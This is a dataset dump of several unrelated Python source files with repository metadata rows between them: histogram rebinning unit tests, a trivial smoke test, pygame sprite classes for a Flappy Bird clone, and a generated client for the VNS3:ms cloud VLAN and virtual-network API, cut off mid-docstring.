[4], [8], [16]], [[3], [4], [8], [16]]]) h3 = h.rebin("y", (1, 3)) self.assertEqual(h3._content.tolist(), [[[1], [6], [8], [16]], [[1], [6], [8], [16]]]) h4 = h.rebin("y", (1, 2)) self.assertEqual(h4._content.tolist(), [[[1], [2], [12], [16]], [[1], [2], [12], [16]]]) h5 = h.rebin("y", (1,)) self.assertEqual(h5._content.tolist(), [[[1], [14], [16]], [[1], [14], [16]]]) h6 = h.rebin("y", (2,)) self.assertEqual(h6._content.tolist(), [[[3], [12], [16]], [[3], [12], [16]]]) h7 = h.rebin("y", (3,)) self.assertEqual(h7._content.tolist(), [[[7], [8], [16]], [[7], [8], [16]]]) h = Hist(split("y", (1, 2, 3)), bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False)) h.fill(x=[0]*(1+2+4+8+16) + [1]*(1+2+4+8+16), y=([0] + [1]*2 + [2]*4 + [3]*8 + [numpy.nan]*16)*2) self.assertEqual(h._content.tolist(), [[[1], [1]], [[2], [2]], [[4], [4]], [[8], [8]], [[16], [16]]]) h2 = h.rebin("y", (2, 3)) self.assertEqual(h2._content.tolist(), [[[3], [3]], [[4], [4]], [[8], [8]], [[16], [16]]]) h3 = h.rebin("y", (1, 3)) self.assertEqual(h3._content.tolist(), [[[1], [1]], [[6], [6]], [[8], [8]], [[16], [16]]]) h4 = h.rebin("y", (1, 2)) self.assertEqual(h4._content.tolist(), [[[1], [1]], [[2], [2]], [[12], [12]], [[16], [16]]]) h5 = h.rebin("y", (1,)) self.assertEqual(h5._content.tolist(), [[[1], [1]], [[14], [14]], [[16], [16]]]) h6 = h.rebin("y", (2,)) self.assertEqual(h6._content.tolist(), [[[3], [3]], [[12], [12]], [[16], [16]]]) h7 = h.rebin("y", (3,)) self.assertEqual(h7._content.tolist(), [[[7], [7]], [[8], [8]], [[16], [16]]]) def test_rebin_split_groupby(self): def tolist(obj): if isinstance(obj, dict): return dict((n, tolist(x)) for n, x in obj.items()) else: return obj.tolist() h = Hist(groupby("c"), split("x", (1, 2, 3))) h.fill(c=["one"]*(1+2+4+8+16) + ["two"]*(1+2+4+8+16), x=([0] + [1]*2 + [2]*4 + [3]*8 + [numpy.nan]*16)*2) self.assertEqual(tolist(h._content), {"one": [[1], [2], [4], [8], [16]], "two": [[1], [2], [4], [8], [16]]}) h2 = h.rebin("x", (2, 3)) self.assertEqual(tolist(h2._content), {"one": [[3], [4], [8], [16]], "two": [[3], [4], [8], [16]]}) h3 = h.rebin("x", (1, 3)) self.assertEqual(tolist(h3._content), {"one": [[1], [6], [8], [16]], "two": [[1], [6], [8], [16]]}) h4 = h.rebin("x", (1, 2)) self.assertEqual(tolist(h4._content), {"one": [[1], [2], [12], [16]], "two": [[1], [2], [12], [16]]}) h5 = h.rebin("x", (1,)) self.assertEqual(tolist(h5._content), {"one": [[1], [14], [16]], "two": [[1], [14], [16]]}) h6 = h.rebin("x", (2,)) self.assertEqual(tolist(h6._content), {"one": [[3], [12], [16]], "two": [[3], [12], [16]]}) h7 = h.rebin("x", (3,)) self.assertEqual(tolist(h7._content), {"one": [[7], [8], [16]], "two": [[7], [8], [16]]}) def test_normalized(self): h = Hist(split("x", (0, 4, 6, 7)), fill=[0, 4, 6]) table = h.table(normalized=True) self.assertEqual(table["count()"][1], 1.0/7.0) self.assertEqual(table["count()"][2], 2.0/7.0) self.assertEqual(table["count()"][3], 4.0/7.0)

63.208531

219

0.536727

5,796

40,011

3.65528

0.043306

0.208864

0.151798

0.181724

0.893703

0.865147

0.827197

0.800009

0.787973

0.775843

0

0.068107

0.207343

40,011

632

220

63.308544

0.599905

0.03809

0

0.382643

0

0.049821

0

0.581854

1

0.04142

false

0.001972

0.00789

0

0.059172

0

null

1

0

1

0

null

0

1

0

9

7f58f9614a81fcc4d083c1b147375c83163d927b

29

py

Python

src/main.py

CCallahanIV/seed-python-package

60d30dcd93fff25e14123b7cfcc7f2632c28a7eb

[ "MIT" ]

null

src/main.py

CCallahanIV/seed-python-package

60d30dcd93fff25e14123b7cfcc7f2632c28a7eb

[ "MIT" ]

null

src/main.py

CCallahanIV/seed-python-package

60d30dcd93fff25e14123b7cfcc7f2632c28a7eb

[ "MIT" ]

null

def smoke(): return True

9.666667

15

0.62069

4

29

4.5

1

0

0.275862

29

2

16

14.5

0.857143

0

1

0.5

true

0

0.5

1

0

1

0

null

0

1

0

null

0

1

0

1

0

7

7f828d65d36842fffe1391b660381c2febb8664b

1,351

py

Python

pipes.py

mizunashi-sh/flappy-bird-remastered

9fa876b25ba98fb576e19ad1bebdebc43fde11fb

[ "BSD-3-Clause" ]

2

2019-02-16T05:43:02.000Z

2019-03-26T09:28:30.000Z

pipes.py

mizunashi-sh/flappy-bird-remastered

9fa876b25ba98fb576e19ad1bebdebc43fde11fb

[ "BSD-3-Clause" ]

null

pipes.py

mizunashi-sh/flappy-bird-remastered

9fa876b25ba98fb576e19ad1bebdebc43fde11fb

[ "BSD-3-Clause" ]

null

import pygame from pygame.sprite import Sprite class PipeDown(Sprite): """表示下面柱子的类""" def __init__(self, init_settings, screen): """初始化""" # 继承 super().__init__() # 导入屏幕和设定 self.screen = screen self.init_settings = init_settings # 导入图片资源,获取其rect self.image = pygame.image.load('resources/sprites/pipe_up.png') self.rect = self.image.get_rect() # 初始位置 self.rect.x = self.init_settings.screen_width self.x = float(self.rect.x) def blitme(self, height): """显示柱子,height为高度""" self.rect.y = height self.screen.blit(self.image, self.rect) class PipeUp(Sprite): """表示上面柱子的类""" def __init__(self, init_settings, screen): """初始化""" # 继承 super().__init__() # 导入屏幕和设定 self.screen = screen self.init_settings = init_settings # 导入图片资源,获取其rect self.image = pygame.image.load('resources/sprites/pipe_down.png') self.rect = self.image.get_rect() # 初始位置 self.rect.x = self.init_settings.screen_width self.x = float(self.rect.x) def blitme(self, height): """显示柱子,height为高度""" self.rect.y = height self.screen.blit(self.image, self.rect)

24.563636

74

0.561066

153

1,351

4.75817

0.261438

0.10989

0.131868

0.120879

0.865385

0

0.315322

1,351

54

75

25.018519

0.787027

0.087343

0

0.769231

0

0.052585

0

1

0.153846

false

0

0.076923

0

0.307692

0

null

0

1

0

1

0

null

0

7

7f839254210121a34f50ba04e3fcca5f4402d701

88,809

py

Python

cohesivenet/api/vns3ms/cloud_monitoring_api.py

cohesive/python-cohesivenet-sdk

5620acfa669ff97c94d9aa04a16facda37d648c1

[ "MIT" ]

null

cohesivenet/api/vns3ms/cloud_monitoring_api.py

cohesive/python-cohesivenet-sdk

5620acfa669ff97c94d9aa04a16facda37d648c1

[ "MIT" ]

null

cohesivenet/api/vns3ms/cloud_monitoring_api.py

cohesive/python-cohesivenet-sdk

5620acfa669ff97c94d9aa04a16facda37d648c1

[ "MIT" ]

null

# coding: utf-8 """ VNS3:ms API Cohesive networks VNS3 provides complete control of your network's addresses, routes, rules and edge. Networking does # noqa: E501 Contact: solutions@cohesive.net Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 from cohesivenet.api_builder import VersionRouter def get_cloud_vlan_components( api_client, cloud_vlan_component_id=None, **kwargs ): # noqa: E501 """Return list of all (accessible) Cloud VLAN Components # noqa: E501 Return list of all (accessible) Cloud VLAN Components # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_cloud_vlan_components(async_req=True) :param VNS3Client api_client: (required) :param cloud_vlan_component_id int: Cloud VLAN Component ID for filtering :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["cloud_vlan_component_id"] collection_formats = {} path_params = {} query_params = [] for param in [p for p in request_params if local_var_params.get(p) is not None]: query_params.append((param, local_var_params[param])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlan_components", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_create_vlan_component( api_client, name=None, cloud_vlan_id=None, user_cred_id=None, vlan_component_id=None, region=None, description=None, **kwargs ): # noqa: E501 """Create new Cloud VLAN Component # noqa: E501 Create new Cloud VLAN Component # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_create_vlan_component(async_req=True) :param VNS3Client api_client: (required) :param name str: Cloud VLAN Component name (required) :param cloud_vlan_id int: Parent Cloud VLAN ID (required) :param user_cred_id int: User credential ID (required) :param vlan_component_id int: Component ID defined by cloud associated with user credential :param region str: Cloud VLAN component region :param description str: Component description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [ "name", "cloud_vlan_id", "user_cred_id", "vlan_component_id", "region", "description", ] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlan_components", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_cloud_vlan_component(api_client, component_id, **kwargs): # noqa: E501 """Return specific Cloud VLAN Components details # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_cloud_vlan_component(id, async_req=True) :param VNS3Client api_client: (required) :param component_id int: VLAN component ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"component_id": component_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlan_components/{component_id}", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_vlan_component( api_client, component_id, name=None, cloud_vlan_id=None, user_cred_id=None, region=None, description=None, **kwargs ): # noqa: E501 """Update specified Cloud VLAN Component # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_vlan_component(async_req=True) :param VNS3Client api_client: (required) :param name str: Cloud VLAN Component name (required) :param cloud_vlan_id int: Parent Cloud VLAN ID (required) :param user_cred_id int: User credential ID (required) :param region str: Cloud VLAN component region :param description str: Component description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["name", "cloud_vlan_id", "user_cred_id", "region", "description"] collection_formats = {} path_params = {"component_id": component_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlan_components/{component_id}", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def delete_vlan_component(api_client, component_id, **kwargs): # noqa: E501 """Delete Cloud VLAN Components # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.delete_vlan_component(id, async_req=True) :param VNS3Client api_client: (required) :param component_id int: VLAN component ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"component_id": component_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlan_components/{component_id}", "DELETE", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_cloud_vlans(api_client, cloud_vlan_id=None, **kwargs): # noqa: E501 """Return list of all (accessible) Cloud VLANs # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_cloud_vlans(async_req=True) :param VNS3Client api_client: (required) :param cloud_vlan_id int: Cloud VLAN ID for filtering :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["cloud_vlan_id"] collection_formats = {} path_params = {} query_params = [] for param in [p for p in request_params if local_var_params.get(p) is not None]: query_params.append((param, local_var_params[param])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlans", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_create_cloud_vlan( api_client, name=None, virtual_network_id=None, description=None, **kwargs ): # noqa: E501 """Create new Cloud VLAN # noqa: E501 Create new Cloud VLAN # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_create_cloud_vlan(async_req=True) :param VNS3Client api_client: (required) :param name str: Cloud VLAN name (required) :param virtual_network_id int: Parent Virtual Network ID (required) :param description str: VLAN description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["name", "virtual_network_id", "description"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlans", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_cloud_vlan(api_client, vlan_id, **kwargs): # noqa: E501 """Return specific Cloud VLAN details # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_cloud_vlan(vlan_id, async_req=True) :param VNS3Client api_client: (required) :param vlan_id int: Cloud VLAN ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"vlan_id": vlan_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlans/{vlan_id}", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_cloud_vlan( api_client, vlan_id, name=None, virtual_network_id=None, description=None, **kwargs ): # noqa: E501 """Update specified Cloud VLAN Component # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_cloud_vlan(async_req=True) :param VNS3Client api_client: (required) :param vlan_id int: Cloud VLAN ID (required) :param name str: Cloud VLAN name (required) :param virtual_network_id int: Parent Virtual Network ID (required) :param description str: VLAN description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["name", "virtual_network_id", "description"] collection_formats = {} path_params = {"vlan_id": vlan_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlans/{vlan_id}", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def delete_cloud_vlan(api_client, vlan_id, **kwargs): # noqa: E501 """Delete Cloud VLAN # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.delete_cloud_vlan(id, async_req=True) :param VNS3Client api_client: (required) :param vlan_id int: Cloud VLAN ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"vlan_id": vlan_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/cloud_vlans/{vlan_id}", "DELETE", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_virtual_networks(api_client, virtual_network_id=None, **kwargs): # noqa: E501 """Return list of all (accessible) Virtual Networks # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_virtual_networks(async_req=True) :param VNS3Client api_client: (required) :param virtual_network_id int: Virtual Network ID for filtering :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["virtual_network_id"] collection_formats = {} path_params = {} query_params = [] for param in [p for p in request_params if local_var_params.get(p) is not None]: query_params.append((param, local_var_params[param])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/virtual_networks", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_create_virtual_network( api_client, name=None, description=None, **kwargs ): # noqa: E501 """Create new Virtual Network # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_create_virtual_network(async_req=True) :param VNS3Client api_client: (required) :param name str: Virtual network name (required) :param description str: Network description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["name", "description"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/virtual_networks", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_virtual_network(api_client, virtual_network_id, **kwargs): # noqa: E501 """Return specific Virtual Network details # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_virtual_network(virtual_network_id, async_req=True) :param VNS3Client api_client: (required) :param virtual_network_id int: Virtual network ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"virtual_network_id": virtual_network_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/virtual_networks/{virtual_network_id}", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_virtual_network( api_client, virtual_network_id, name=None, description=None, **kwargs ): # noqa: E501 """Update specified Virtual Network # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_virtual_network(async_req=True) :param VNS3Client api_client: (required) :param virtual_network_id int: Virtual network ID (required) :param name str: Virtual network name :param description str: Network description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["name", "description"] collection_formats = {} path_params = {"virtual_network_id": virtual_network_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/virtual_networks/{virtual_network_id}", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def delete_virtual_network(api_client, virtual_network_id, **kwargs): # noqa: E501 """Delete Virtual Network # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.delete_virtual_network(virtual_network_id, async_req=True) :param VNS3Client api_client: (required) :param virtual_network_id int: Virtual network ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"virtual_network_id": virtual_network_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/virtual_networks/{virtual_network_id}", "DELETE", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_export_virtual_networks(api_client): # noqa: E501 """Export virtual networks CSV # noqa: E501 Export virtual networks CSV file # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_export_virtual_networks(client, async_req=True) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: 